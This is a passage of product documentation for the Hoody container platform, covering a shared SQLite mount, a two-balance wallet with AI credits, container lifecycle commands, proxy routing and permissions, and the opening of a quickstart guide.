# Or use sqlite3 backup command
sqlite3 /hoody/databases/production.db ".backup /hoody/storage/backups/backup.db"
```

### 4. Monitor Database Size

```bash
# Check database sizes
du -sh /hoody/databases/*

# Vacuum to compact
sqlite3 /hoody/databases/app.db "VACUUM"

# Set up auto-vacuum
sqlite3 /hoody/databases/app.db "PRAGMA auto_vacuum = FULL"
```

### 5. Index for Performance

**Concurrent writes are safe, but indexing is still critical for performance:**

```sql
-- Create indexes for frequently queried columns
CREATE INDEX idx_users_email ON users(email);
CREATE INDEX idx_posts_author ON posts(author_id, created_at);

-- Analyze for query planner
ANALYZE;
```

---

## Useful Questions

### Do I need to do anything to enable /hoody/databases/?

No. It's **automatically available** in every container. Just start using it:

```bash
sqlite3 /hoody/databases/myapp.db "CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT)"
```

### Can containers on different servers share databases?

Not yet. `/hoody/databases/` is **host-level**, meaning containers on the **same physical server** can share databases.

**Cross-server:** Use hoody-sqlite HTTP API to access databases remotely.

### Does this work with PostgreSQL or MySQL?

No. This is specifically for **SQLite databases** only. The FUSE mount handles SQLite's file-level locking protocol.

For PostgreSQL/MySQL, run them as services in containers and connect via network.

### What if my database gets really large (>10GB)?

The FUSE mount handles databases of any size. Performance remains good for databases up to hundreds of GBs.

**For very large datasets**, consider:
- Sharding across multiple databases
- Using indexes aggressively
- Running dedicated PostgreSQL container

### Can I use WAL mode with /hoody/databases/?

Yes! SQLite's Write-Ahead Logging (WAL) mode works perfectly with the concurrent-write FUSE mount:

```sql
PRAGMA journal_mode = WAL;
```

**Combined benefit:** WAL's concurrent read performance + FUSE mount's concurrent write safety.

### Does hoody-sqlite HTTP API require databases in /hoody/databases/?

No. hoody-sqlite can access databases **anywhere** in the container filesystem:

```bash
# Works - in /hoody/databases/
curl "...?db=/hoody/databases/app.db"

# Also works - anywhere else
curl "...?db=/home/user/data/test.db"
```

**But:** For concurrent write safety from multiple containers, the database **must** be in `/hoody/databases/`.

---

## Troubleshooting

### "Database is locked" Errors Still Occur

**Problem:** Getting lock errors even when using `/hoody/databases/`

**Possible causes:**

1. **Long-running transactions:**
   ```sql
   -- ❌ Holding write lock too long
   BEGIN EXCLUSIVE;
   -- Complex operations taking seconds
   COMMIT;
   
   -- ✅ Break into smaller transactions
   BEGIN; INSERT ...; COMMIT;
   BEGIN; INSERT ...; COMMIT;
   ```

2. **Busy timeout too low:**
   ```python
   # Increase timeout
   conn = sqlite3.connect('/hoody/databases/app.db')
   conn.execute('PRAGMA busy_timeout = 5000')  # 5 seconds
   ```

3. **Very high write concurrency:**
   - FUSE mount has limits
   - Consider connection pooling
   - Or use WAL mode

### Database File Not Found

**Problem:** `sqlite3: cannot open database`

**Check:**

```bash
# Verify directory exists
ls -la /hoody/databases/

# Create database if needed
sqlite3 /hoody/databases/newdb.db "CREATE TABLE test (id INTEGER)"

# Check permissions
ls -la /hoody/databases/newdb.db
# Should be: -rw-r--r-- root root
```

### Performance Slower Than Expected

**Problem:** Queries slower in `/hoody/databases/` vs regular filesystem

**Optimization:**

1. **Enable WAL mode:**
   ```sql
   PRAGMA journal_mode = WAL;
   PRAGMA synchronous = NORMAL;
   ```

2. **Use indexes:**
   ```sql
   CREATE INDEX idx_query ON table(column);
   ANALYZE;
   ```

3. **Increase cache size:**
   ```sql
   PRAGMA cache_size = -64000;  -- 64MB cache
   ```

4. **Batch operations:**
   ```sql
   BEGIN;
   -- Multiple INSERTs
   COMMIT;
   ```

---

## Concurrent Write Architecture

**How the FUSE mount coordinates writes:**

```
Time    Container A              FUSE Layer                Container B
─────────────────────────────────────────────────────────────────────
T1      BEGIN TRANSACTION        ← Request write lock      (waiting)
T2      INSERT INTO users        Lock granted to A         (waiting)
T3      INSERT INTO posts        Buffering A's writes      (waiting)
T4      COMMIT                   Flushing A's changes      (waiting)
T5      (done)                   Release lock              BEGIN TRANSACTION
T6      (ready for next)         Grant lock to B ←         INSERT INTO logs
T7                               Buffering B's writes      COMMIT
T8                               Release lock              (done)
```

**The FUSE layer serializes competing writes** while allowing concurrent reads.

---

## What's Next

**Storage ecosystem:**
- **[Container Storage →](./)** - Understanding `/hoody/storage` and container filesystem
- **[Mount Locally →](./mount-locally/)** - Access container files via SFTP/WebDAV
- **[Cloud Storage →](./cloud/)** - Connect 63 cloud providers
- **[Shared Storage →](./sharing-files/)** - Share directories between containers
- **[/ramdisk →](./ramdisk/)** - Ultra-fast RAM storage

**Database access:**
- **[Hoody SQLite KV Store →](/api/sqlite/kv-store/)** - HTTP-based key-value operations
- **[SQL Operations →](/api/sqlite/sql-operations/)** - Execute transactions via HTTP
- **[Hoody Terminal →](/kit/terminals/)** - Use sqlite3 command directly

**Understanding gained:**
- ✅ `/hoody/databases/` is automatic in all containers
- ✅ Host-level FUSE mount provides concurrent-write safety
- ✅ No code changes—just change database path
- ✅ Works with standard sqlite3 library in any language
- ✅ Pairs with hoody-sqlite for HTTP access
- ✅ Safety ≠ replication (you still need backups)

---

> **Concurrent writes without corruption.**  
> **Zero code changes. Just use /hoody/databases/.**

**Share SQLite databases safely across containers. HTTP access via hoody-sqlite. Simple, fast, reliable.**

---

# Storage

**Page:** foundation/storage

[Download Raw Markdown](./foundation/storage.md)

---

# Storage

This page has moved to the Storage & Sharing section:

- **[Container Storage](/foundation/storage/)** - Container storage systems and persistence

---

# Wallet & Balance Management

**Page:** foundation/wallet/index

[Download Raw Markdown](./foundation/wallet/index.md)

---

# Wallet & Balance Management

**Two balances. One for infrastructure, one for AI. Transfer between them.**

Your Hoody wallet uses a dual-balance system to separate infrastructure costs from AI spending—giving you explicit control over each budget.

---

## API Endpoints Summary

**Official Technical Reference:**

This Foundation page explains the wallet and balance system. For related topics:

**Balance APIs:**
- **[Wallet & Payments API](/api/wallet/)** - Balance checking, fund transfers (API reference)

**Payment & Billing:**
- **[Billing & Payments →](/foundation/billing/)** - Payment methods, transactions, invoices

See the full [Wallet & Payments API →](/api/wallet/) for endpoint documentation.

---

## The Two-Balance System

**Why Hoody uses separate balances:**



Your primary account funds. Used for:
- **Server rentals** (bare metal hosting)
- **Platform infrastructure** (network, proxy, services)

Add funds via credit card or other payment methods. This is your main wallet for renting servers and using Hoody.



A separate credit pool for AI features:
- **Hoody AI credits** (LLM API access)
- **AI-powered services** (code generation, automation)

Funded exclusively by transferring from General Balance. **Transfers are one-way only** (General → AI, not reversible). Prevents accidental AI overspending—you control the budget explicitly.



**Critical distinction:** General Balance funds infrastructure. AI Balance is isolated to prevent AI from draining server rental budget.

---

## Traditional vs. Hoody Billing

**Why this model changes everything:**

<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; margin: 1.5rem 0;">

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Traditional VPS Billing**

**Cost Structure:**
- ❌ $5-20 per VM per month
- ❌ Separate charge for each environment
- ❌ Expensive at scale

**Example: 10 containers**
```
10 containers × $10/month = $100/month
```

**Problem:** Every container increases costs linearly.

</div>

<div style="padding: 1.25rem; background: #f8f8f8; border: 1px solid #ddd; border-radius: 4px;">

**Hoody Bare Metal Billing**

**Cost Structure:**
- ✅ One server rental (varies by specs and duration)
- ✅ Unlimited containers on that server
- ✅ Cost-effective scaling

**Example: 100 containers**
```
1 server rental (see marketplace for pricing)
Supports 50-200+ containers depending on specs
```

**Solution:** Same cost whether you run 5 or 500 containers.

**Browse servers:** [Rent Servers →](/foundation/servers/rent/) to view specifications and pricing

</div>

</div>

**Economic transformation:** The container revolution is finally economically viable.

---

## How the Wallet System Works

### General Balance (Primary Wallet)

**What it funds:**
- Server rentals (daily, weekly, monthly)
- Platform infrastructure and services

**How to add funds:** See [Billing & Payments →](/foundation/billing/) for payment methods (credit card, cryptocurrency, bank transfer).

**Check balance:**
```bash
GET /api/v1/wallet/balances/general
```

### AI Balance (Dedicated AI Credits)

**What it funds:**
- Hoody AI API usage (LLMs)
- AI-powered code generation
- Autonomous agent operations
- AI-assisted debugging

**How to fund:** Transfer from General Balance only

```bash
# Transfer $10 to AI credits
POST /api/v1/wallet/transfers
{
  "amount": "10.00"
}
```

**Why separate?** Prevents AI services from draining your infrastructure budget. You explicitly allocate how much AI can spend.


**One-Way Transfer:** Funds can only move General → AI, not AI → General. This is by design to prevent AI budget bloat. Transfer carefully.


**Check balance:**
```bash
GET /api/v1/wallet/balances/ai
```

**Returns:** Limit, current usage, remaining credits

---

## Balance Workflow

**How to use your wallet:**



1. **Add Funds to General Balance**

   Use one of three payment methods:
   - Credit card (instant, via Stripe)
   - Cryptocurrency (15-60 min, +5% fee, via NOWPayments)
   - Bank transfer (1-3 days, for large deposits)
   
   **See:** [Billing & Payments →](/foundation/billing/) for complete payment method details

2. **Rent Servers**

   Use General Balance to rent bare metal servers.
   
   Servers charged based on rental duration. Once rented, run unlimited containers at no additional cost.
   
   **See:** [Rent Servers →](/foundation/servers/rent/) for marketplace and pricing

3. **Optional: Fund AI Balance**

   If using AI features, transfer funds from General Balance to AI Balance.
   
   ```bash
   POST /api/v1/wallet/transfers
   {
     "amount": "10.00"
   }
   ```
   
   **One-way transfer only.** Cannot move funds back from AI to General.

4. **Monitor Balances**

   Check balances anytime via API or dashboard.
   
   ```bash
   GET /api/v1/wallet/balances
   ```
   
   Automated monitoring recommended for production use.



---

## Why Two Balances?

**The problem with single-balance systems:**

Without separation, AI services could accidentally consume your entire infrastructure budget. You'd wake up to:
- Servers terminated (no funds for renewal)
- AI ran thousands of expensive LLM calls overnight
- No money left for core infrastructure

**Hoody's solution:**



**Protected from AI overspend**

Server rentals and platform costs only. AI can't touch this budget. Your infrastructure stays funded.



**Hard limit on AI spending**

You transfer exact amount you want AI to use. Once depleted, AI services stop. Can't accidentally overspend.



**You control both budgets explicitly.** Transfer to AI Balance only when you want to use AI features, and only as much as you're willing to spend.

---

## Checking Your Balances

**Monitor your wallet programmatically:**

### All Balances at Once

```bash
GET /api/v1/wallet/balances
```

**Response:**
```json
{
  "statusCode": 200,
  "data": {
    "general_balance": "95.50",      // Infrastructure funds
    "ai_limit": "50.00",             // Total AI credits allocated
    "ai_usage": "10.25",             // AI credits spent
    "ai_remaining": "39.75"          // AI credits available
  }
}
```

### General Balance Only

```bash
GET /api/v1/wallet/balances/general
```

**Returns:** Current infrastructure funds

**Use for:** Monitoring if you need to add funds for server renewals

### AI Balance Only

```bash
GET /api/v1/wallet/balances/ai
```

**Returns:** AI credit limit, usage, and remaining balance

**Use for:** Checking if AI has budget before running expensive LLM tasks

---

## Balance Automation

**HTTP-based wallet enables automated balance management:**

> The JavaScript snippets below read `token` from `process.env.HOODY_TOKEN`. Create a Hoody token with `hoody auth login` or the [automation-token flow](/foundation/hoody-api/authentication/) and export it:  
> `export HOODY_TOKEN="hdy_…"`

```javascript
const token = process.env.HOODY_TOKEN;
```

### Monitor General Balance

```javascript
// Check if funds are running low
async function checkInfrastructureBalance() {
  const response = await fetch('https://api.hoody.icu/api/v1/wallet/balances/general', {
    headers: { 'Authorization': `Bearer ${token}` }
  });
  
  const data = await response.json();
  const balance = parseFloat(data.data.general_balance);
  
  // Warn if below 2x monthly server costs
  const monthlyServerCosts = 150; // Your server rentals
  if (balance < monthlyServerCosts * 2) {
    await sendAlert(`Low balance: $${balance}. Server renewals at risk.`);
  }
}
```

### Monitor AI Balance

```javascript
// Check AI budget before expensive tasks
async function canAffordAITask(estimatedCost) {
  const response = await fetch('https://api.hoody.icu/api/v1/wallet/balances/ai', {
    headers: { 'Authorization': `Bearer ${token}` }
  });
  
  const data = await response.json();
  const remaining = parseFloat(data.data.ai_remaining);
  
  return remaining >= estimatedCost;
}
```

### Auto-Fund AI for Tasks

```javascript
// Transfer to AI only when needed, with limits
async function fundAIForTask(estimatedCost) {
  const aiBalance = await fetch('https://api.hoody.icu/api/v1/wallet/balances/ai', {
    headers: { 'Authorization': `Bearer ${token}` }
  }).then(r => r.json());

  const remaining = parseFloat(aiBalance.data.ai_remaining);

  if (remaining < estimatedCost) {
    const needed = estimatedCost - remaining;
    
    // Transfer only what's needed (remember: one-way only!)
    await fetch('https://api.hoody.icu/api/v1/wallet/transfers', {
      method: 'POST',
      headers: {
        'Authorization': `Bearer ${token}`,
        'Content-Type': 'application/json'
      },
      body: JSON.stringify({
        amount: needed.toFixed(2)
      })
    });
  }
}
```

**HTTP-based wallet enables AI to manage its own budget.**

---

## Cost Optimization Strategies

### Consolidate Containers

**One server can host many containers:**

```
Instead of:
3 VPS × $10/month = $30/month for 3 environments

Use:
1 Hoody server rental = $X/month for unlimited containers
Create 3 containers + 50 more for experiments = same $X/month
```

**Rule:** Consolidate workloads onto fewer servers when possible.

### Right-Size Servers

**Don't over-provision:**

1. Start with mid-tier server
2. Monitor usage first month
3. Upgrade only if consistently >80% resource usage
4. Delete unused containers to free resources

**Most users never need more than 2-3 servers** (dev, staging, prod separation).

### AI Budget Management

**Control AI spending explicitly:**

```javascript
// Set strict AI limits
await fetch('https://api.hoody.icu/api/v1/wallet/transfers', {
  method: 'POST',
  body: JSON.stringify({ amount: "10.00" }) // $10 AI budget this month
});

// Monitor AI usage
const aiBalance = await fetch('https://api.hoody.icu/api/v1/wallet/balances/ai');
// Stop AI tasks if ai_remaining drops below threshold
```

**Separate budgets = no accidental AI overspend on infrastructure funds.**

### Use Snapshots Instead of Idle Containers

**Pattern:**
- Snapshot containers you don't use daily
- Delete the live container
- Restore from snapshot when needed (`<30 seconds`)

**Benefit:** Reduces server resource usage → fit more active containers.

---

## What You Actually Pay For

**Only two things:**

### 1. Server Rentals (Infrastructure)

**Charged:** When you rent a bare metal server
**Includes:** Everything—CPU, RAM, storage, bandwidth, networking, unlimited containers, all Hoody Kit HTTP services

**See:** [Rent Servers →](/foundation/servers/rent/) for marketplace pricing by server specs and location

### 2. AI Usage (Optional)

**Charged:** Only when using Hoody AI features
**Rate:** Pay-per-token, varies by LLM model
**Budget:** Limited by AI Balance (can't exceed what you've transferred)

**You only pay for AI if you use it.** Server rentals don't include AI.

---

## Use Cases

**Solo Developer**
- Check General Balance before server renewal
- Keep 2x monthly server cost as buffer
- Transfer $10-20/month to AI Balance for code assistance
- Monitor both balances weekly

**Digital Agency**
- Separate General Balance monitoring per client project
- Track which servers belong to which clients
- AI Balance per project for accurate client billing
- Monthly balance reporting in client invoices

**Enterprise Team**
- Automated balance monitoring across all servers
- Alert when General Balance drops below threshold
- Project-specific AI Balance transfers for department budgets
- Integration with accounting systems via transaction API

**AI-Heavy Workflow**
- Start with minimal AI Balance ($10-20)
- Monitor AI usage daily during development
- Transfer more only when approaching limit
- Track AI costs per feature/project

---

## Best Practices

**General Balance:**
- Maintain 2-3x monthly server costs as buffer
- Set calendar reminders for server renewal dates
- Automated monitoring via balance API
- Alert when below threshold

**AI Balance:**
- Start small ($10-20 transfers)
- Monitor usage weekly
- Set hard limits in code
- Separate AI budgets per project/purpose

**Transfer Strategy:**
- **Never over-transfer to AI Balance** (can't move funds back)
- Transfer only what you plan to use immediately
- Budget conservatively—better to transfer again than have excess stuck in AI

**Automation:**
- Check balances before expensive operations
- Auto-alert on low General Balance (servers at risk)
- Pre-check AI Balance before running LLM tasks
- Integration with monitoring systems

---

## Useful Questions

### How do I know when I'm running low on funds?

Check your balance programmatically via `GET /api/v1/wallet/balances`. Set up automated monitoring that alerts you when balance drops below a threshold (e.g., twice your monthly server costs). The Hoody dashboard also shows balance warnings.

### What happens if my General Balance reaches zero during an active server rental?

Your servers enter a grace period. You'll be prompted to add funds. If balance isn't restored within the grace period, services may be paused to prevent debt accumulation. Always maintain a buffer to avoid interruption.

### Can I get refunds for unused server time?

Server rentals are generally non-refundable once provisioned, similar to other hosting services. However, if you encounter technical issues preventing server use, contact support—we handle these on a case-by-case basis.

### How quickly do payments get credited to my account?

Credit card payments via Stripe typically process within seconds. Your General Balance updates immediately upon successful payment processing. Some payment methods may take longer—you'll see pending status during processing.

### Can I move funds from AI Balance back to General Balance?

**No. Transfers are one-way only** (General → AI). This is intentional to prevent AI budget bloat. Transfer conservatively—only what you plan to use.

### How do I add funds to General Balance?

See [Billing & Payments →](/foundation/billing/) for payment methods: credit cards (instant), cryptocurrency (+5% fee, 15-60 min), or bank transfer (1-3 days, $500+ recommended).

### How does AI Balance prevent overspending?

Hard limit. Once `ai_remaining` reaches $0, AI services stop. You must explicitly transfer more from General Balance. This prevents runaway AI costs from draining infrastructure budget.

### Can I set automated spending limits?

Not built-in yet. Implement your own via balance API—check General Balance before server operations, check AI Balance before LLM tasks. Set alerts when approaching thresholds.

### How quickly can I check my balance?

Instant via API: `GET /api/v1/wallet/balances`. Automated scripts can poll every few seconds if needed. Dashboard shows real-time balance as well.

### What if my General Balance hits zero during a server rental?

Server enters grace period. You're alerted to add funds. If not resolved within grace, service may pause. **Always maintain 2-3x monthly server costs as buffer.**

### Can AI automatically transfer funds from General to AI Balance?

Technically yes, via API with proper auth. But **be very careful**—transfers are one-way. Better to have AI alert when low, then human approves transfer.

### How do I track where my General Balance is being spent?

See transaction history: `GET /api/v1/wallet/transactions`. Filter by server rentals vs. other charges. Download monthly reports. See [Billing & Payments →](/foundation/billing/) for complete transaction management.

---

## Troubleshooting

### Can't Transfer to AI Balance

**Problem:** `POST /api/v1/wallet/transfers` fails with insufficient funds error

**Solution:**

```bash
# Check General Balance first
GET /api/v1/wallet/balances/general

# If insufficient, add funds via one of these:
# - Credit card (instant)
# - Cryptocurrency (+5% fee, 15-60 min)
# - Bank transfer (1-3 days)
```

**See:** [Billing & Payments →](/foundation/billing/) for payment methods

### Accidentally Transferred Too Much to AI Balance

**Problem:** Transferred $500 to AI, only needed $50

**Reality:** **Funds are stuck.** Transfers are one-way only (cannot move AI → General).

**Prevention:**
- Transfer conservatively
- Start with small amounts ($10-20)
- Transfer more as needed
- Remember: can always transfer MORE, never LESS

### Balance Shows Wrong Amount

**Problem:** Balance doesn't match expectations

**Check:**

1. **Recent transactions:**
   ```bash
   GET /api/v1/wallet/transactions?limit=10&sort_order=desc
   ```
   
   Review last 10 transactions for unexpected charges

2. **Pending payments:**
   - Cryptocurrency payments may show pending during confirmations
   - Check payment status: `GET /api/v1/wallet/payments/{id}`

3. **Server auto-renewals:**
   - Servers charge automatically on expiration if balance sufficient
   - Check server rental dates

**If unexplained discrepancy:** Contact support with transaction IDs for investigation.

---

## What's Next

**Related pages:**
- [Billing & Payments →](/foundation/billing/) - Payment methods, transactions, invoices
- [Wallet & Payments API →](/api/wallet/) - Complete endpoint reference

**Use your balance:**
- [Rent Servers →](/foundation/servers/rent/) - Spend General Balance on infrastructure

**Automate monitoring:**
- Implement balance checks before critical operations
- Set up alerts for low General Balance
- Track AI spending per project

---

> **Two balances. One for servers, one for AI.**
> **Transfer between them. Monitor via HTTP.**
> **Containers are unlimited. AI is isolated.**

**This is wallet design for infinite computers.**

---

# Understanding Containers

**Page:** getting-started/containers

[Download Raw Markdown](./getting-started/containers.md)

---

# Understanding Containers

**Forget Docker. Forget VMs. Hoody containers are something else entirely.**

A Hoody container is a full Debian 13 Linux computer — with systemd, its own filesystem, its own network, and 18 HTTP services built in. The moment it exists, it's online. Every process, every file, every database inside it has a URL.

You don't SSH into them (well, you *can* — `ssh hoody.com` gives you a full OS). You don't deploy to them (though nothing stops you). You `fetch` them. Every process running inside is already an HTTPS endpoint, with HTTP/2 and HTTP/3 out of the box. You'll never think about a certificate again.

---

## What You Get

Every container includes:

| Capability | How You Access It |
| :--- | :--- |
| Shell access | `terminal-1.containers.hoody.icu` |
| File system | `files-1.containers.hoody.icu` |
| Database | `sqlite-1.containers.hoody.icu` |
| Desktop display | `display-1.containers.hoody.icu` |
| Browser automation | `browser-1.containers.hoody.icu` |
| Script execution | `exec-1.containers.hoody.icu` |
| AI agent | `workspaces-1.containers.hoody.icu` |
| VS Code | `code-1.containers.hoody.icu` |
| HTTP composition | `curl-1.containers.hoody.icu` |
| Background processes | `daemon-1.containers.hoody.icu` |
| Scheduled tasks | `cron-1.containers.hoody.icu` |
| Push notifications | `n-1.containers.hoody.icu` |
| Data streaming | `pipe-1.containers.hoody.icu` |
| Collaborative notebooks | `notes-1.containers.hoody.icu` |
| File watching | `watch-1.containers.hoody.icu` |
| Application launch | `run-1.containers.hoody.icu` |
| TCP tunneling | `tunnel-1.containers.hoody.icu` |
| Proxy access logs | `logs-1.containers.hoody.icu` |

All of this. In every container. Accessible from any device with a browser. Or from any terminal via `ssh hoody.com`.



---

## Create a Container


  
    ```bash
    # Create a container in your project
    hoody containers create --project $PROJECT_ID --server-id $SERVER_ID --name "backend"

    # List your containers
    hoody containers list
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';
    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const container = await client.api.containers.create(PROJECT_ID, {
      server_id: SERVER_ID,
      name: 'backend'
    });

    // Your computer is already live
    console.log(container.data.id);
    ```
  
  
    ```bash
    curl -X POST https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"server_id": "'"$SERVER_ID"'", "name": "backend"}'
    ```
  


---

## The URL Structure

Every service in every container has a predictable URL:

```
https://{projectId}-{containerId}-{service}-{instance}.{serverName}.containers.hoody.icu
```

For example:
```
https://abc123-def456-terminal-1.node-us-1.containers.hoody.icu
https://abc123-def456-files-1.node-us-1.containers.hoody.icu
https://abc123-def456-display-1.node-us-1.containers.hoody.icu
```


The URL IS the interface. No ports to memorize, no configuration files, no network setup. The URL tells you exactly what service you're talking to.


---

## How They Differ from Docker

| Feature | Docker | Hoody Containers |
| :--- | :--- | :--- |
| Base system | Minimal layers | Full Debian 13 + systemd |
| Networking | Internal bridge, port mapping | Every service has a public URL |
| Access method | `docker exec` / SSH | HTTP from anywhere |
| Built-in services | None — BYO everything | 18 HTTP services included |
| Collaboration | Not designed for it | Multiplayer by default |
| Snapshots | Volume snapshots only | Full filesystem snapshots, instant restore |
| Multiple instances | Separate containers | `terminal-1`, `terminal-2`... in same container |

Docker containers are build artifacts. Hoody containers are computers.

---

## Multiple Instances

Need three terminals, two databases, and a browser?

```
terminal-1.containers.hoody.icu
terminal-2.containers.hoody.icu
terminal-3.containers.hoody.icu
sqlite-1.containers.hoody.icu
sqlite-2.containers.hoody.icu
browser-1.containers.hoody.icu
```

Same container, different instances. Each one is its own URL, its own process, its own state.

---

## Container Lifecycle


  
    ```bash
    # Start a stopped container
    hoody containers manage $CONTAINER_ID start

    # Stop a running container
    hoody containers manage $CONTAINER_ID stop

    # Snapshot before making changes
    hoody snapshots create -c $CONTAINER_ID --alias "before-experiment"

    # Restore if something breaks
    hoody snapshots restore -c $CONTAINER_ID --name $SNAPSHOT_NAME
    ```
  
  
    ```typescript
    // Start
    await client.api.containers.manage(CONTAINER_ID, 'start');

    // Stop
    await client.api.containers.manage(CONTAINER_ID, 'stop');

    // Snapshot
    const snapshot = await client.api.containers.createSnapshot(CONTAINER_ID, {
      alias: 'before-experiment'
    });

    // Restore
    await client.api.containers.restoreSnapshot(CONTAINER_ID, SNAPSHOT_NAME);
    ```
  
  
    ```bash
    # Start
    curl -X POST https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/start \
      -H "Authorization: Bearer $TOKEN"

    # Stop
    curl -X POST https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/stop \
      -H "Authorization: Bearer $TOKEN"

    # Snapshot
    curl -X POST https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "before-experiment"}'

    # Restore
    curl -X PATCH https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/snapshots/$SNAPSHOT_NAME \
      -H "Authorization: Bearer $TOKEN"
    ```
  


---

## Infinite Containers, One Server

You don't pay per container. You pay for bare metal — then spawn as many containers as you want.

**Old model:** $40/month per VPS. Three environments = $120/month.
**Hoody model:** One server. Infinite containers. Experiment freely.

This changes how you think about computing. Dev containers, staging, experiments, AI playgrounds — they're all free to create.

> **A container isn't infrastructure. It's a URL. Treat it like one.**

**Next:** [The Hoody Proxy →](/getting-started/proxy/)

---

# The Hoody Proxy

**Page:** getting-started/proxy

[Download Raw Markdown](./getting-started/proxy.md)

---

# The Hoody Proxy

**Every URL you've been using? The proxy makes it work.**

The Hoody Proxy is the gateway between the outside world and your containers. It handles HTTPS certificates, routes requests to the right service, manages permissions, and preserves real client IPs. All automatically. Every program you run gets HTTPS, HTTP/2, and HTTP/3 (QUIC) — out of the box. No configuration. No cert rotation. No Let's Encrypt dance.

You will never think about a certificate again in your life. It just works.

---

## What the Proxy Does

1. **Automatic HTTPS** — Wildcard TLS certificates for every container URL. No Let's Encrypt setup, no cert rotation, no DNS challenge.

2. **URL routing** — Parses `{projectId}-{containerId}-{service}-{instance}.{serverName}.containers.hoody.icu` and routes to the correct service inside the correct container.

3. **Permission enforcement** — Authentication (JWT, password, IP whitelist, bearer token) checked before any request reaches your container.

4. **Real client IP** — Uses netfilter hooks to preserve the real client IP address. Your application sees the actual visitor, not a proxy address.

5. **Protocol support** — HTTP/1.1, HTTP/2, HTTP/3 (QUIC), and WebSocket upgrades. Real-time terminals and displays work seamlessly.

---

## How URLs Route

When you hit:
```
https://abc123-def456-terminal-1.node-us-1.containers.hoody.icu/api/v1/terminal/execute
```

The proxy:
1. Extracts `abc123` (project), `def456` (container), `terminal-1` (service + instance)
2. Looks up `node-us-1` to find the physical server
3. Routes to `terminal` service instance `1` inside container `def456`
4. Forwards the request with real client IP preserved

All in milliseconds. No configuration on your part.

---

## Custom Domain Aliases

Tired of sharing a URL stuffed with Project and Container IDs? Create an alias — a memorable name (3-61 chars, `a-z`, `0-9`, hyphens) that resolves to a short, clean URL:


  
    ```bash
    # Create a proxy alias
    hoody proxy create \
      --container-id $CONTAINER_ID \
      --program "exec" \
      --alias "my-api" \
      --index 1
    ```
  
  
    ```typescript
    const alias = await client.api.proxyAliases.create({
      container_id: CONTAINER_ID,
      program: 'exec',
      alias: 'my-api',
      index: 1
    });
    // Now https://my-api.{server}.containers.hoody.icu → your exec scripts
    ```
  
  
    ```bash
    curl -X POST https://api.hoody.icu/api/v1/proxy/aliases \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "container_id": "'$CONTAINER_ID'",
        "program": "exec",
        "alias": "my-api",
        "index": 1
      }'
    ```
  



Want a domain you fully own, like `api.myapp.com`? Point its DNS at Hoody and connect it to the container — HTTPS certificates are provisioned automatically. See [Connect a Domain](/foundation/proxy/connect-domain/).


---

## Permissions

By default, container URLs are accessible by anyone who has the URL. The URL itself is unguessable (48+ characters of hex), which provides a baseline of security.

When you're ready to lock things down:


  
    ```bash
    # Require password authentication
    hoody containers proxy permissions replace -c $CONTAINER_ID \
      --project $PROJECT_ID \
      --groups auth='{"type": "password", "password": "my-secret"}' \
      --permissions auth='{"terminal": true, "files": true, "display": true}'

    # Restrict to specific IP addresses
    hoody containers proxy permissions replace -c $CONTAINER_ID \
      --project $PROJECT_ID \
      --groups office='{"type": "ip", "range": "203.0.113.10/32"}' \
      --permissions office='{"terminal": true, "files": true, "display": true}'
    ```
  
  
    ```typescript
    // Require password auth
    await client.api.proxyPermissionsContainer.replace(CONTAINER_ID, {
      project: PROJECT_ID,
      container: CONTAINER_ID,
      groups: { devs: { type: 'password', password: 'my-secret' } },
      permissions: { devs: { terminal: true, files: true, display: true, http: true } },
      default: 'deny'
    });

    // IP restriction
    await client.api.proxyPermissionsContainer.replace(CONTAINER_ID, {
      project: PROJECT_ID,
      container: CONTAINER_ID,
      groups: {
        office_primary: { type: 'ip', range: '203.0.113.10/32' },
        office_subnet: { type: 'ip', range: '198.51.100.0/24' }
      },
      permissions: {
        office_primary: { terminal: true, files: true, display: true, http: true },
        office_subnet: { terminal: true, files: true, display: true, http: true }
      },
      default: 'deny'
    });
    ```
  
  
    ```bash
    # Set password auth
    curl -X PATCH https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/proxy/permissions \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"project":"'$PROJECT_ID'","container":"'$CONTAINER_ID'","groups":{"devs":{"type":"password","password":"my-secret"}},"permissions":{"devs":{"terminal":true,"files":true,"display":true,"http":true}},"default":"deny"}'
    ```
  


One permissions document declares reusable auth groups (password, JWT, IP, token) and grants per-program access to them. Add a program in the `permissions.<group>.<program>` map to let that group in; anything not granted stays at the default policy. Configure once, apply it across whichever services need protection.

---

## The Philosophy: Open by Default

URLs are unguessable. Sharing requires knowing the URL. This means:

- **Development**: No auth friction. Just build.
- **Collaboration**: Share the URL. Everyone's in.
- **Production**: Add authentication when you're ready.

No premature security configuration slowing you down. No "I can't access the dev environment" tickets.

> **The proxy is invisible when you don't need it, and bulletproof when you do.**

**Next:** [Your First API →](/getting-started/your-first-api/)

---

# Quick Start

**Page:** getting-started/quickstart

[Download Raw Markdown](./getting-started/quickstart.md)

---

# Quick Start

**Three commands. That's all it takes.**

In the next 5 minutes, you'll spawn a computer, run code on it, and share it with a URL. No installation. No configuration. No deployment step. Just HTTP.

Or skip all of this and just:

```bash
ssh hoody.com
```

That's it. Full Hoody OS in your terminal. From any device, anywhere. But let's start with the API approach first.

---

## Step 1: Get Your API Token

Sign up at [hoody.icu](https://hoody.icu) and grab your API token from the dashboard. This token authenticates every request you make.


  
    ```bash
    # Install the Hoody SDK (includes CLI)
    npm install -g @hoody-ai/hoody-sdk

    # Authenticate
    hoody auth login
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({
      baseURL: 'https://api.hoody.icu',
